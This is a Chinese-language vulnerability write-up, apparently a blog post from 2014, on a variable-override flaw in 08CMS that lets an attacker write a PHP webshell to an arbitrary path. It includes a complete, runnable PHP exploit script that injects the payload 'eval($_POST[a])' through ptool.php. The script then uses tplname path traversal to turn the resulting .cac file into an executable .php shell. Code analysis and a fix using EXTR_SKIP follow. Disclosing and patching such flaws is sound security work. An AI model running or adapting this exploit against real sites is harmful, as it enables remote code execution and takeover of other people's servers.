08CMS Variable Override Write Arbitrarily WEBSHELL Into Arbitrarily Path

目录

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

1. 漏洞描述

简单描述这个漏洞

1. /include/general.inc.php
//本地变量注册
foreach(array('_POST','_GET') as $_request)
{
    foreach($$_request as $k => $v)
    {
        $k{0} != '_' && $$k = maddslashes($v);
    }
}
/*
这里实现了模拟GPC功能,将用户输入的GET、POST数据中的变量注册到本地代码空间中,导致攻击者理论上可以向应用程序"注入"任意的变量值
*/

2. 通过本地变量覆盖,黑客可以控制目标应用程序将要进行的写文件操作,向网站目录下的任意位置写入任意文件


2. 漏洞触发条件

0x1: 攻击流

1. 上传一个包含WEBSHELL的非PHP文件
/*
/tools/ptool.php
..
$cf = M_ROOT.'./dynamic/stats/aclicks.cac';
$ct = M_ROOT.'./dynamic/stats/aclicks_time.cac';
..
if(@$fp = fopen($cf,'a'))
{
    fwrite($fp,"$aid");
    fclose($fp);
    ..
通过注入$aid,利用程序的本地变量覆盖漏洞,向/dynamic/stats/aclicks.cac写入WEBSHELL代码
$exp = /tools/ptool.php?aid=<?php eval($_POST[a]);?>
*/

2. 在第二个变量覆盖攻击点,传入这个文件路径(将要被打开的文件路径): 
$exp1 = /index.php?tplname=../../dynamic/stats/aclicks.cac

3. 程序打开/dynamic/stats/aclicks.cac,并重新写入到"/dynamic/stats/aclicks.cac.php"中,完成GETSHELL

0x2: POC

<?php
/* 
    exp:        index.php?tplname=../../dynamic/stats/aclicks.cac
    汽车CMS Shell:    /dynamic/tplcache/common/....dynamicstatsaclicks.cac.php
    装修CMS Shell    /dynamic/dynamic/stats/aclicks.cac.php 
*/
//$exp = /tools/ptool.php?aid=<?php eval($_POST[a]);?>
$exp = '/tools/ptool.php?aid=%3C%3Fphp%20eval%28%24_POST%5Ba%5D%29%3B%3F%3E';
//$exp1 = /index.php?tplname=../../dynamic/stats/aclicks.cac
$exp1 = '/index.php?tplname=..%2f..%2fdynamic%2fstats%2faclicks.cac';
 
if ($argc < 2 ) 
{
print_r('
+---------------------------------------------------------------------------+
 [+] php '.$argv[0].' [url]www.08sec.com[/url] 
+---------------------------------------------------------------------------+
');
    exit;
}
error_reporting(E_ERROR);
set_time_limit(0);
 
$host = $argv[1];
go($host);
 
function go ($host)
{
    global $exp,$exp1;

    $re = Send ($host,$exp);
    stripos($re, "MySQL") > 0 ? Send ($host, $exp) : ""
    $re = Send ($host, $exp1) && stripos($re, "aclicks.cac") > 0 ? exit(" + Exploit Success!rn + http://$host/template/dynamic/stats/aclicks.cac.phprn") : exit(" - Exploit Failed!n");
}
 
function Send($host,$url)
{
    $data = "GET $url  HTTP/1.1rn";
    $data .= "Host: $hostrn";
    $data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.03 [en]rn";
    $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn";
    $data .= "Content-Type: application/x-www-form-urlencodedrn";
    $data .= "Accept-Language: en-usrn";
    $data .= "Connection: Closernrn";
    $fp = @fsockopen($host, 80);
    if (!$fp) 
    {
        die("[-] Connect to host Errorrn");
    }
    fwrite($fp, $data);
    $back = '';
    while (!feof($fp)) 
    {
        $back .= fread($fp, 1024);
    }
    fclose($fp);
    return $back;
}
?>

Relevant Link:

http://www.unhonker.com/bug/1390.html


3. 漏洞影响范围

08CMS全部商业版


4. 漏洞代码分析

本地变量注册实现代码

/include/general.inc.php

/index.php

include_once dirname(__FILE__).'/include/general.inc.php';
include_once M_ROOT.'./include/common.fun.php';

if_siteclosed();
mobile_open() || message('手机版尚未开放');
/*
function un_virtual($str)
{
    ......
    $str = str_replace(array('/','-'),array('&','='),$str); 把 / 和 - 替换成 & 和 =
    ......
    return $str;
}
parse_str()把查询字符串解析到变量中,保存在变量$temparr中
*/
parse_str(un_virtual($_SERVER['QUERY_STRING']), $temparr);
... 

$_da = array();
if(!$cnstr)
{
    //$tplname这个在这里定义的了,相当于被初始化了
    $tplname = $_ismobile ? $o_index_tpl : $hometpl ; 
    $_da['rss'] = $cms_abs.'rss.php'; 
    $_da += $temparr; // $_da= $_da+$temparr 
    unset($temparr);//销毁变量
 
    //变量覆盖,这样我们可以控制了$tplname这个变量,即对它重新覆盖
    extract($_da,EXTR_OVERWRITE); 
    //这个tpl_refresh函数就是漏洞利用的关键点
    tpl_refresh($tplname);   
    ...

/include/refresh.fun.php

function tpl_refresh($tplname)
{
    global $templatedir,$debugtag;
    $tdir = M_ROOT."template/$templatedir/"; 

    //$tplname可以由攻击者控制,所以$cacf也等同于被攻击者控制
    $cacf = $tdir.'pcache/'. $tplname.'.php';              
    if(file_exists($x = $tdir."function/utags.fun.php")) 
    {
    include_once $x;
    } 
    mmkdir($cacf,0,1);
    if($debugtag || !file_exists($cacf))
    {
    //打开文件,返回内容
    $str = load_tpl($tplname);   
    $tpl = @file2str(M_ROOT."template/$templatedir/".$tplname);  //file2str这个是打开文件的函数  
    $rt && $tpl = preg_replace("/{tpl$(.+?)}/ies", "rtagval('1','$rt')",$tpl); 过滤 
 
        $str = preg_replace("/<?(?!phps|=|s)/i", '<?='<?'?>', $str); 
        $str = preg_replace("/<!--{(.+?)}-->/s", "{1}", $str);
        breplace($str,'');
        nreplace($str);
        quit_refresh_var();
                
        $str = tpl_basecode($str);
        
    /*
    漏洞的关键,在这里
    1. $str: 攻击者可控制,这是一个.cac文件的内容,攻击者可以通过另一个变量覆盖向服务器写入一个.cac的WEBSHELL
    2. $cacf: 攻击者可控制,攻击者传入的参数是一个非PHP文件路径(.cac文件),这个文件也是真实存在的,可以通过另一个变量注入上传一个.cac文件,同时,程序在末尾拼接了".php",使其成为写一个PHP文件
    
    从结果上来看,相当于进行了一次.cac到.php的后缀重命名处理
    */
        str2file($str, $cacf);
    }
    unset($str,$tdir,$cacf);
}


5. 防御方法

/index.php

if(!$cnstr)
{
    //$tplname这个在这里定义的了,相当于被初始化了
    $tplname = $_ismobile ? $o_index_tpl : $hometpl ; 
    $_da['rss'] = $cms_abs.'rss.php'; 
    $_da += $temparr; // $_da= $_da+$temparr 
    unset($temparr);//销毁变量

    /*
    如果对应变量已经存在,则不进行覆盖操作
    */
    extract($_da, EXTR_SKIP);  
    tpl_refresh($tplname);   
    ...


6. 攻防思考

防御变量覆盖的防御思路

1. 重新运行一次原始的代码逻辑,将被覆盖的变量再赋值回原始的值
2. 在本地变量注册的入口处对关键字进行检测

Copyright (c) 2014 LittleHann All rights reserved

原文地址:https://www.cnblogs.com/LittleHann/p/4319095.html